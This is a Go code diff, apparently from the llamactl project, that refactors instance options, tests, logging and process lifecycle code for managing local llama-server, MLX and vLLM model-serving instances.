+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "llama-server",
+				Args:    []string{},
+			},
+			MLX: config.BackendSettings{
+				Command: "mlx_lm.server",
+				Args:    []string{},
+			},
+			VLLM: config.BackendSettings{
+				Command: "vllm",
+				Args:    []string{"serve"},
+			},
+		},
+		Instances: config.InstancesConfig{
+			LogsDir:             "/tmp/test",
+			DefaultAutoRestart:  true,
+			DefaultMaxRestarts:  3,
+			DefaultRestartDelay: 5,
+		},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
 	}
 
-	initialOptions := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
+	initialOptions := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
 		},
 	}
 
 	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+	mockOnStatusChange := func(oldStatus, newStatus instance.Status) {}
 
-	inst := instance.NewInstance("test-instance", globalSettings, initialOptions, mockOnStatusChange)
+	inst := instance.New("test-instance", globalConfig, initialOptions, mockOnStatusChange)
 
 	// Update options
-	newOptions := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
+	newOptions := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/new-model.gguf",
+				Port:  8081,
+			},
 		},
 	}
 
 	inst.SetOptions(newOptions)
 	opts := inst.GetOptions()
 
-	if opts.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.LlamaServerOptions.Model)
+	if opts.BackendOptions.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
+		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.BackendOptions.LlamaServerOptions.Model)
 	}
 	if inst.GetPort() != 8081 {
 		t.Errorf("Expected updated port 8081, got %d", inst.GetPort())
@@ -147,22 +172,43 @@ func TestSetOptions(t *testing.T) {
 }
 
 func TestGetProxy(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "llama-server",
+				Args:    []string{},
+			},
+			MLX: config.BackendSettings{
+				Command: "mlx_lm.server",
+				Args:    []string{},
+			},
+			VLLM: config.BackendSettings{
+				Command: "vllm",
+				Args:    []string{"serve"},
+			},
+		},
+		Instances: config.InstancesConfig{
+			LogsDir: "/tmp/test",
+		},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
 	}
 
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Host: "localhost",
-			Port: 8080,
+	options := &instance.Options{
+		Nodes: map[string]struct{}{"main": {}},
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Host: "localhost",
+				Port: 8080,
+			},
 		},
 	}
 
 	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+	mockOnStatusChange := func(oldStatus, newStatus instance.Status) {}
 
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+	inst := instance.New("test-instance", globalConfig, options, mockOnStatusChange)
 
 	// Get proxy for the first time
 	proxy1, err := inst.GetProxy()
@@ -184,35 +230,34 @@ func TestGetProxy(t *testing.T) {
 }
 
 func TestMarshalJSON(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
 	}
-
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
 		},
 	}
 
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+	inst := instance.New("test-instance", globalConfig, options, nil)
 
-	instance := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-
-	data, err := json.Marshal(instance)
+	data, err := json.Marshal(inst)
 	if err != nil {
 		t.Fatalf("JSON marshal failed: %v", err)
 	}
 
-	// Check that JSON contains expected fields
+	// Verify by unmarshaling and checking key fields
 	var result map[string]any
-	err = json.Unmarshal(data, &result)
-	if err != nil {
+	if err := json.Unmarshal(data, &result); err != nil {
 		t.Fatalf("JSON unmarshal failed: %v", err)
 	}
 
@@ -222,37 +267,9 @@ func TestMarshalJSON(t *testing.T) {
 	if result["status"] != "stopped" {
 		t.Errorf("Expected status 'stopped', got %v", result["status"])
 	}
-
-	// Check that options are included
-	options_data, ok := result["options"]
-	if !ok {
+	if result["options"] == nil {
 		t.Error("Expected options to be included in JSON")
 	}
-	options_map, ok := options_data.(map[string]interface{})
-	if !ok {
-		t.Error("Expected options to be a map")
-	}
-
-	// Check backend type
-	if options_map["backend_type"] != string(backends.BackendTypeLlamaCpp) {
-		t.Errorf("Expected backend_type '%s', got %v", backends.BackendTypeLlamaCpp, options_map["backend_type"])
-	}
-
-	// Check backend options
-	backend_options_data, ok := options_map["backend_options"]
-	if !ok {
-		t.Error("Expected backend_options to be included in JSON")
-	}
-	backend_options_map, ok := backend_options_data.(map[string]any)
-	if !ok {
-		t.Error("Expected backend_options to be a map")
-	}
-	if backend_options_map["model"] != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %v", backend_options_map["model"])
-	}
-	if backend_options_map["port"] != float64(8080) {
-		t.Errorf("Expected port 8080, got %v", backend_options_map["port"])
-	}
 }
 
 func TestUnmarshalJSON(t *testing.T) {
@@ -270,7 +287,7 @@ func TestUnmarshalJSON(t *testing.T) {
 		}
 	}`
 
-	var inst instance.Process
+	var inst instance.Instance
 	err := json.Unmarshal([]byte(jsonData), &inst)
 	if err != nil {
 		t.Fatalf("JSON unmarshal failed: %v", err)
@@ -287,14 +304,14 @@ func TestUnmarshalJSON(t *testing.T) {
 	if opts == nil {
 		t.Fatal("Expected options to be set")
 	}
-	if opts.BackendType != backends.BackendTypeLlamaCpp {
-		t.Errorf("Expected backend_type '%s', got %s", backends.BackendTypeLlamaCpp, opts.BackendType)
+	if opts.BackendOptions.BackendType != backends.BackendTypeLlamaCpp {
+		t.Errorf("Expected backend_type '%s', got %s", backends.BackendTypeLlamaCpp, opts.BackendOptions.BackendType)
 	}
-	if opts.LlamaServerOptions == nil {
+	if opts.BackendOptions.LlamaServerOptions == nil {
 		t.Fatal("Expected LlamaServerOptions to be set")
 	}
-	if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
+	if opts.BackendOptions.LlamaServerOptions.Model != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.BackendOptions.LlamaServerOptions.Model)
 	}
 	if inst.GetPort() != 8080 {
 		t.Errorf("Expected port 8080, got %d", inst.GetPort())
@@ -307,7 +324,7 @@ func TestUnmarshalJSON(t *testing.T) {
 	}
 }
 
-func TestCreateInstanceOptionsValidation(t *testing.T) {
+func TestCreateOptionsValidation(t *testing.T) {
 	tests := []struct {
 		name          string
 		maxRestarts   *int
@@ -338,25 +355,45 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
 		},
 	}
 
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "llama-server",
+				Args:    []string{},
+			},
+			MLX: config.BackendSettings{
+				Command: "mlx_lm.server",
+				Args:    []string{},
+			},
+			VLLM: config.BackendSettings{
+				Command: "vllm",
+				Args:    []string{"serve"},
+			},
+		},
+		Instances: config.InstancesConfig{
+			LogsDir: "/tmp/test",
+		},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
 	}
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			options := &instance.CreateInstanceOptions{
+			options := &instance.Options{
 				MaxRestarts:  tt.maxRestarts,
 				RestartDelay: tt.restartDelay,
-				BackendType:  backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
-					Model: "/path/to/model.gguf",
+				BackendOptions: backends.Options{
+					BackendType: backends.BackendTypeLlamaCpp,
+					LlamaServerOptions: &backends.LlamaServerOptions{
+						Model: "/path/to/model.gguf",
+					},
 				},
 			}
 
 			// Mock onStatusChange function
-			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+			mockOnStatusChange := func(oldStatus, newStatus instance.Status) {}
 
-			instance := instance.NewInstance("test", globalSettings, options, mockOnStatusChange)
+			instance := instance.New("test", globalConfig, options, mockOnStatusChange)
 			opts := instance.GetOptions()
 
 			if opts.MaxRestarts == nil {
@@ -373,3 +410,300 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
 		})
 	}
 }
+
+func TestStatusChangeCallback(t *testing.T) {
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
+	}
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
+		},
+	}
+
+	var callbackOldStatus, callbackNewStatus instance.Status
+	callbackCalled := false
+
+	onStatusChange := func(oldStatus, newStatus instance.Status) {
+		callbackOldStatus = oldStatus
+		callbackNewStatus = newStatus
+		callbackCalled = true
+	}
+
+	inst := instance.New("test", globalConfig, options, onStatusChange)
+
+	inst.SetStatus(instance.Running)
+
+	if !callbackCalled {
+		t.Error("Expected status change callback to be called")
+	}
+	if callbackOldStatus != instance.Stopped {
+		t.Errorf("Expected old status Stopped, got %v", callbackOldStatus)
+	}
+	if callbackNewStatus != instance.Running {
+		t.Errorf("Expected new status Running, got %v", callbackNewStatus)
+	}
+}
+
+func TestSetOptions_NodesPreserved(t *testing.T) {
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
+	}
+
+	tests := []struct {
+		name          string
+		initialNodes  map[string]struct{}
+		updateNodes   map[string]struct{}
+		expectedNodes map[string]struct{}
+	}{
+		{
+			name:          "nil nodes preserved as nil",
+			initialNodes:  nil,
+			updateNodes:   map[string]struct{}{"worker1": {}},
+			expectedNodes: nil,
+		},
+		{
+			name:          "empty nodes preserved as empty",
+			initialNodes:  map[string]struct{}{},
+			updateNodes:   map[string]struct{}{"worker1": {}},
+			expectedNodes: map[string]struct{}{},
+		},
+		{
+			name:          "existing nodes preserved",
+			initialNodes:  map[string]struct{}{"worker1": {}, "worker2": {}},
+			updateNodes:   map[string]struct{}{"worker3": {}},
+			expectedNodes: map[string]struct{}{"worker1": {}, "worker2": {}},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			options := &instance.Options{
+				Nodes: tt.initialNodes,
+				BackendOptions: backends.Options{
+					BackendType: backends.BackendTypeLlamaCpp,
+					LlamaServerOptions: &backends.LlamaServerOptions{
+						Model: "/path/to/model.gguf",
+					},
+				},
+			}
+
+			inst := instance.New("test", globalConfig, options, nil)
+
+			// Attempt to update nodes (should be ignored)
+			updateOptions := &instance.Options{
+				Nodes: tt.updateNodes,
+				BackendOptions: backends.Options{
+					BackendType: backends.BackendTypeLlamaCpp,
+					LlamaServerOptions: &backends.LlamaServerOptions{
+						Model: "/path/to/new-model.gguf",
+					},
+				},
+			}
+			inst.SetOptions(updateOptions)
+
+			opts := inst.GetOptions()
+
+			// Verify nodes are preserved
+			if len(opts.Nodes) != len(tt.expectedNodes) {
+				t.Errorf("Expected %d nodes, got %d", len(tt.expectedNodes), len(opts.Nodes))
+			}
+			for node := range tt.expectedNodes {
+				if _, exists := opts.Nodes[node]; !exists {
+					t.Errorf("Expected node %s to exist", node)
+				}
+			}
+
+			// Verify other options were updated
+			if opts.BackendOptions.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
+				t.Errorf("Expected model to be updated to '/path/to/new-model.gguf', got %q", opts.BackendOptions.LlamaServerOptions.Model)
+			}
+		})
+	}
+}
+
+func TestProcessErrorCases(t *testing.T) {
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
+	}
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
+		},
+	}
+
+	inst := instance.New("test", globalConfig, options, nil)
+
+	// Stop when not running should return error
+	err := inst.Stop()
+	if err == nil {
+		t.Error("Expected error when stopping non-running instance")
+	}
+
+	// Simulate running state
+	inst.SetStatus(instance.Running)
+
+	// Start when already running should return error
+	err = inst.Start()
+	if err == nil {
+		t.Error("Expected error when starting already running instance")
+	}
+}
+
+func TestRemoteInstanceOperations(t *testing.T) {
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes: map[string]config.NodeConfig{
+			"remote-node": {Address: "http://remote-node:8080"},
+		},
+		LocalNode: "main",
+	}
+	options := &instance.Options{
+		Nodes: map[string]struct{}{"remote-node": {}}, // Remote instance
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
+		},
+	}
+
+	inst := instance.New("remote-test", globalConfig, options, nil)
+
+	if !inst.IsRemote() {
+		t.Error("Expected instance to be remote")
+	}
+
+	// Start should fail for remote instance
+	if err := inst.Start(); err == nil {
+		t.Error("Expected error when starting remote instance")
+	}
+
+	// Stop should fail for remote instance
+	if err := inst.Stop(); err == nil {
+		t.Error("Expected error when stopping remote instance")
+	}
+
+	// Restart should fail for remote instance
+	if err := inst.Restart(); err == nil {
+		t.Error("Expected error when restarting remote instance")
+	}
+
+	// GetProxy should fail for remote instance
+	if _, err := inst.GetProxy(); err != nil {
+		t.Error("Expected no error when getting proxy for remote instance")
+	}
+
+	// GetLogs should fail for remote instance
+	if _, err := inst.GetLogs(10); err == nil {
+		t.Error("Expected error when getting logs for remote instance")
+	}
+}
+
+func TestIdleTimeout(t *testing.T) {
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{Command: "llama-server"},
+		},
+		Instances: config.InstancesConfig{LogsDir: "/tmp/test"},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
+	}
+
+	t.Run("not running never times out", func(t *testing.T) {
+		timeout := 1
+		inst := instance.New("test", globalConfig, &instance.Options{
+			IdleTimeout: &timeout,
+			BackendOptions: backends.Options{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &backends.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			},
+		}, nil)
+
+		if inst.ShouldTimeout() {
+			t.Error("Non-running instance should never timeout")
+		}
+	})
+
+	t.Run("no timeout configured", func(t *testing.T) {
+		inst := instance.New("test", globalConfig, &instance.Options{
+			IdleTimeout: nil, // No timeout
+			BackendOptions: backends.Options{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &backends.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			},
+		}, nil)
+		inst.SetStatus(instance.Running)
+
+		if inst.ShouldTimeout() {
+			t.Error("Instance with no timeout configured should not timeout")
+		}
+	})
+
+	t.Run("timeout exceeded", func(t *testing.T) {
+		timeout := 1 // 1 minute
+		inst := instance.New("test", globalConfig, &instance.Options{
+			IdleTimeout: &timeout,
+			BackendOptions: backends.Options{
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &backends.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+					Host:  "localhost",
+					Port:  8080,
+				},
+			},
+		}, nil)
+		inst.SetStatus(instance.Running)
+
+		// Use mock time provider
+		mockTime := &mockTimeProvider{currentTime: time.Now().Unix()}
+		inst.SetTimeProvider(mockTime)
+
+		// Set last request time to now
+		inst.UpdateLastRequestTime()
+
+		// Advance time by 2 minutes (exceeds 1 minute timeout)
+		mockTime.currentTime = time.Now().Add(2 * time.Minute).Unix()
+
+		if !inst.ShouldTimeout() {
+			t.Error("Instance should timeout when idle time exceeds configured timeout")
+		}
+	})
+}
+
+// mockTimeProvider for timeout testing
+type mockTimeProvider struct {
+	currentTime int64 // Unix timestamp
+}
+
+func (m *mockTimeProvider) Now() time.Time {
+	return time.Unix(m.currentTime, 0)
+}

pkg/instance/lifecycle.go

@@ -1,345 +0,0 @@
-package instance
-
-import (
-	"context"
-	"fmt"
-	"log"
-	"net/http"
-	"os/exec"
-	"runtime"
-	"syscall"
-	"time"
-)
-
-// Start starts the llama server instance and returns an error if it fails.
-func (i *Process) Start() error {
-	i.mu.Lock()
-	defer i.mu.Unlock()
-
-	if i.IsRunning() {
-		return fmt.Errorf("instance %s is already running", i.Name)
-	}
-
-	// Safety check: ensure options are valid
-	if i.options == nil {
-		return fmt.Errorf("instance %s has no options set", i.Name)
-	}
-
-	// Reset restart counter when manually starting (not during auto-restart)
-	// We can detect auto-restart by checking if restartCancel is set
-	if i.restartCancel == nil {
-		i.restarts = 0
-	}
-
-	// Initialize last request time to current time when starting
-	i.lastRequestTime.Store(i.timeProvider.Now().Unix())
-
-	// Create log files
-	if err := i.logger.Create(); err != nil {
-		return fmt.Errorf("failed to create log files: %w", err)
-	}
-
-	args := i.options.BuildCommandArgs()
-	i.ctx, i.cancel = context.WithCancel(context.Background())
-	i.cmd = exec.CommandContext(i.ctx, "llama-server", args...)
-
-	if runtime.GOOS != "windows" {
-		setProcAttrs(i.cmd)
-	}
-
-	var err error
-	i.stdout, err = i.cmd.StdoutPipe()
-	if err != nil {
-		i.logger.Close()
-		return fmt.Errorf("failed to get stdout pipe: %w", err)
-	}
-	i.stderr, err = i.cmd.StderrPipe()
-	if err != nil {
-		i.stdout.Close()
-		i.logger.Close()
-		return fmt.Errorf("failed to get stderr pipe: %w", err)
-	}
-
-	if err := i.cmd.Start(); err != nil {
-		return fmt.Errorf("failed to start instance %s: %w", i.Name, err)
-	}
-
-	i.SetStatus(Running)
-
-	// Create channel for monitor completion signaling
-	i.monitorDone = make(chan struct{})
-
-	go i.logger.readOutput(i.stdout)
-	go i.logger.readOutput(i.stderr)
-
-	go i.monitorProcess()
-
-	return nil
-}
-
-// Stop terminates the subprocess
-func (i *Process) Stop() error {
-	i.mu.Lock()
-
-	if !i.IsRunning() {
-		// Even if not running, cancel any pending restart
-		if i.restartCancel != nil {
-			i.restartCancel()
-			i.restartCancel = nil
-			log.Printf("Cancelled pending restart for instance %s", i.Name)
-		}
-		i.mu.Unlock()
-		return fmt.Errorf("instance %s is not running", i.Name)
-	}
-
-	// Cancel any pending restart
-	if i.restartCancel != nil {
-		i.restartCancel()
-		i.restartCancel = nil
-	}
-
-	// Set status to stopped first to signal intentional stop
-	i.SetStatus(Stopped)
-
-	// Clean up the proxy
-	i.proxy = nil
-
-	// Get the monitor done channel before releasing the lock
-	monitorDone := i.monitorDone
-
-	i.mu.Unlock()
-
-	// Stop the process with SIGINT if cmd exists
-	if i.cmd != nil && i.cmd.Process != nil {
-		if err := i.cmd.Process.Signal(syscall.SIGINT); err != nil {
-			log.Printf("Failed to send SIGINT to instance %s: %v", i.Name, err)
-		}
-	}
-
-	// If no process exists, we can return immediately
-	if i.cmd == nil || monitorDone == nil {
-		i.logger.Close()
-		return nil
-	}
-
-	select {
-	case <-monitorDone:
-		// Process exited normally
-	case <-time.After(30 * time.Second):
-		// Force kill if it doesn't exit within 30 seconds
-		if i.cmd != nil && i.cmd.Process != nil {
-			killErr := i.cmd.Process.Kill()
-			if killErr != nil {
-				log.Printf("Failed to force kill instance %s: %v", i.Name, killErr)
-			}
-			log.Printf("Instance %s did not stop in time, force killed", i.Name)
-
-			// Wait a bit more for the monitor to finish after force kill
-			select {
-			case <-monitorDone:
-				// Monitor completed after force kill
-			case <-time.After(2 * time.Second):
-				log.Printf("Warning: Monitor goroutine did not complete after force kill for instance %s", i.Name)
-			}
-		}
-	}
-
-	i.logger.Close()
-
-	return nil
-}
-
-func (i *Process) LastRequestTime() int64 {
-	return i.lastRequestTime.Load()
-}
-
-func (i *Process) WaitForHealthy(timeout int) error {
-	if !i.IsRunning() {
-		return fmt.Errorf("instance %s is not running", i.Name)
-	}
-
-	if timeout <= 0 {
-		timeout = 30 // Default to 30 seconds if no timeout is specified
-	}
-
-	ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
-	defer cancel()
-
-	// Get instance options to build the health check URL
-	opts := i.GetOptions()
-	if opts == nil {
-		return fmt.Errorf("instance %s has no options set", i.Name)
-	}
-
-	// Build the health check URL directly
-	var host string
-	var port int
-	switch opts.BackendType {
-	case "llama-cpp":
-		host = opts.LlamaServerOptions.Host
-		port = opts.LlamaServerOptions.Port
-	}
-	if host == "" {
-		host = "localhost"
-	}
-	healthURL := fmt.Sprintf("http://%s:%d/health", host, port)
-
-	// Create a dedicated HTTP client for health checks
-	client := &http.Client{
-		Timeout: 5 * time.Second, // 5 second timeout per request
-	}
-
-	// Helper function to check health directly
-	checkHealth := func() bool {
-		req, err := http.NewRequestWithContext(ctx, "GET", healthURL, nil)
-		if err != nil {
-			return false
-		}
-
-		resp, err := client.Do(req)
-		if err != nil {
-			return false
-		}
-		defer resp.Body.Close()
-
-		return resp.StatusCode == http.StatusOK
-	}
-
-	// Try immediate check first
-	if checkHealth() {
-		return nil // Instance is healthy
-	}
-
-	// If immediate check failed, start polling
-	ticker := time.NewTicker(1 * time.Second)
-	defer ticker.Stop()
-
-	for {
-		select {
-		case <-ctx.Done():
-			return fmt.Errorf("timeout waiting for instance %s to become healthy after %d seconds", i.Name, timeout)
-		case <-ticker.C:
-			if checkHealth() {
-				return nil // Instance is healthy
-			}
-			// Continue polling
-		}
-	}
-}
-
-func (i *Process) monitorProcess() {
-	defer func() {
-		i.mu.Lock()
-		if i.monitorDone != nil {
-			close(i.monitorDone)
-			i.monitorDone = nil
-		}
-		i.mu.Unlock()
-	}()
-
-	err := i.cmd.Wait()
-
-	i.mu.Lock()
-
-	// Check if the instance was intentionally stopped
-	if !i.IsRunning() {
-		i.mu.Unlock()
-		return
-	}
-
-	i.SetStatus(Stopped)
-	i.logger.Close()
-
-	// Cancel any existing restart context since we're handling a new exit
-	if i.restartCancel != nil {
-		i.restartCancel()
-		i.restartCancel = nil
-	}
-
-	// Log the exit
-	if err != nil {
-		log.Printf("Instance %s crashed with error: %v", i.Name, err)
-		// Handle restart while holding the lock, then release it
-		i.handleRestart()
-	} else {
-		log.Printf("Instance %s exited cleanly", i.Name)
-		i.mu.Unlock()
-	}
-}
-
-// handleRestart manages the restart process while holding the lock
-func (i *Process) handleRestart() {
-	// Validate restart conditions and get safe parameters
-	shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions()
-	if !shouldRestart {
-		i.SetStatus(Failed)
-		i.mu.Unlock()
-		return
-	}
-
-	i.restarts++
-	log.Printf("Auto-restarting instance %s (attempt %d/%d) in %v",
-		i.Name, i.restarts, maxRestarts, time.Duration(restartDelay)*time.Second)
-
-	// Create a cancellable context for the restart delay
-	restartCtx, cancel := context.WithCancel(context.Background())
-	i.restartCancel = cancel
-
-	// Release the lock before sleeping
-	i.mu.Unlock()
-
-	// Use context-aware sleep so it can be cancelled
-	select {
-	case <-time.After(time.Duration(restartDelay) * time.Second):
-		// Sleep completed normally, continue with restart
-	case <-restartCtx.Done():
-		// Restart was cancelled
-		log.Printf("Restart cancelled for instance %s", i.Name)
-		return
-	}
-
-	// Restart the instance
-	if err := i.Start(); err != nil {
-		log.Printf("Failed to restart instance %s: %v", i.Name, err)
-	} else {
-		log.Printf("Successfully restarted instance %s", i.Name)
-		// Clear the cancel function
-		i.mu.Lock()
-		i.restartCancel = nil
-		i.mu.Unlock()
-	}
-}
-
-// validateRestartConditions checks if the instance should be restarted and returns the parameters
-func (i *Process) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) {
-	if i.options == nil {
-		log.Printf("Instance %s not restarting: options are nil", i.Name)
-		return false, 0, 0
-	}
-
-	if i.options.AutoRestart == nil || !*i.options.AutoRestart {
-		log.Printf("Instance %s not restarting: AutoRestart is disabled", i.Name)
-		return false, 0, 0
-	}
-
-	if i.options.MaxRestarts == nil {
-		log.Printf("Instance %s not restarting: MaxRestarts is nil", i.Name)
-		return false, 0, 0
-	}
-
-	if i.options.RestartDelay == nil {
-		log.Printf("Instance %s not restarting: RestartDelay is nil", i.Name)
-		return false, 0, 0
-	}
-
-	// Values are already validated during unmarshaling/SetOptions
-	maxRestarts = *i.options.MaxRestarts
-	restartDelay = *i.options.RestartDelay
-
-	if i.restarts >= maxRestarts {
-		log.Printf("Instance %s exceeded max restart attempts (%d)", i.Name, maxRestarts)
-		return false, 0, 0
-	}
-
-	return true, maxRestarts, restartDelay
-}

pkg/instance/logger.go

@@ -6,25 +6,30 @@ import (
 	"io"
 	"os"
 	"strings"
+	"sync"
 	"time"
 )
 
-type InstanceLogger struct {
+type logger struct {
 	name        string
 	logDir      string
 	logFile     *os.File
 	logFilePath string
+	mu          sync.RWMutex
 }
 
-func NewInstanceLogger(name string, logDir string) *InstanceLogger {
-	return &InstanceLogger{
+func newLogger(name string, logDir string) *logger {
+	return &logger{
 		name:   name,
 		logDir: logDir,
 	}
 }
 
-// Create creates and opens the log files for stdout and stderr
-func (i *InstanceLogger) Create() error {
+// create creates and opens the log files for stdout and stderr
+func (i *logger) create() error {
+	i.mu.Lock()
+	defer i.mu.Unlock()
+
 	if i.logDir == "" {
 		return fmt.Errorf("logDir is empty for instance %s", i.name)
 	}
@@ -51,17 +56,16 @@ func (i *InstanceLogger) Create() error {
 	return nil
 }
 
-// GetLogs retrieves the last n lines of logs from the instance
-func (i *Process) GetLogs(num_lines int) (string, error) {
+// getLogs retrieves the last n lines of logs from the instance
+func (i *logger) getLogs(num_lines int) (string, error) {
 	i.mu.RLock()
-	logFileName := i.logger.logFilePath
-	i.mu.RUnlock()
+	defer i.mu.RUnlock()
 
-	if logFileName == "" {
-		return "", fmt.Errorf("log file not created for instance %s", i.Name)
+	if i.logFilePath == "" {
+		return "", fmt.Errorf("log file not created for instance %s", i.name)
 	}
 
-	file, err := os.Open(logFileName)
+	file, err := os.Open(i.logFilePath)
 	if err != nil {
 		return "", fmt.Errorf("failed to open log file: %w", err)
 	}
@@ -93,8 +97,11 @@ func (i *Process) GetLogs(num_lines int) (string, error) {
 	return strings.Join(lines[start:], "\n"), nil
 }
 
-// closeLogFile closes the log files
-func (i *InstanceLogger) Close() {
+// close closes the log files
+func (i *logger) close() {
+	i.mu.Lock()
+	defer i.mu.Unlock()
+
 	if i.logFile != nil {
 		timestamp := time.Now().Format("2006-01-02 15:04:05")
 		fmt.Fprintf(i.logFile, "=== Instance %s stopped at %s ===\n\n", i.name, timestamp)
@@ -104,7 +111,7 @@ func (i *InstanceLogger) Close() {
 }
 
 // readOutput reads from the given reader and writes lines to the log file
-func (i *InstanceLogger) readOutput(reader io.ReadCloser) {
+func (i *logger) readOutput(reader io.ReadCloser) {
 	defer reader.Close()
 
 	scanner := bufio.NewScanner(reader)

pkg/instance/options.go

@@ -4,12 +4,14 @@ import (
 	"encoding/json"
 	"fmt"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"log"
+	"slices"
+	"sync"
 )
 
-type CreateInstanceOptions struct {
+// Options contains the actual configuration (exported - this is the public API).
+type Options struct {
 	// Auto restart
 	AutoRestart  *bool `json:"auto_restart,omitempty"`
 	MaxRestarts  *int  `json:"max_restarts,omitempty"`
@@ -18,19 +20,79 @@ type CreateInstanceOptions struct {
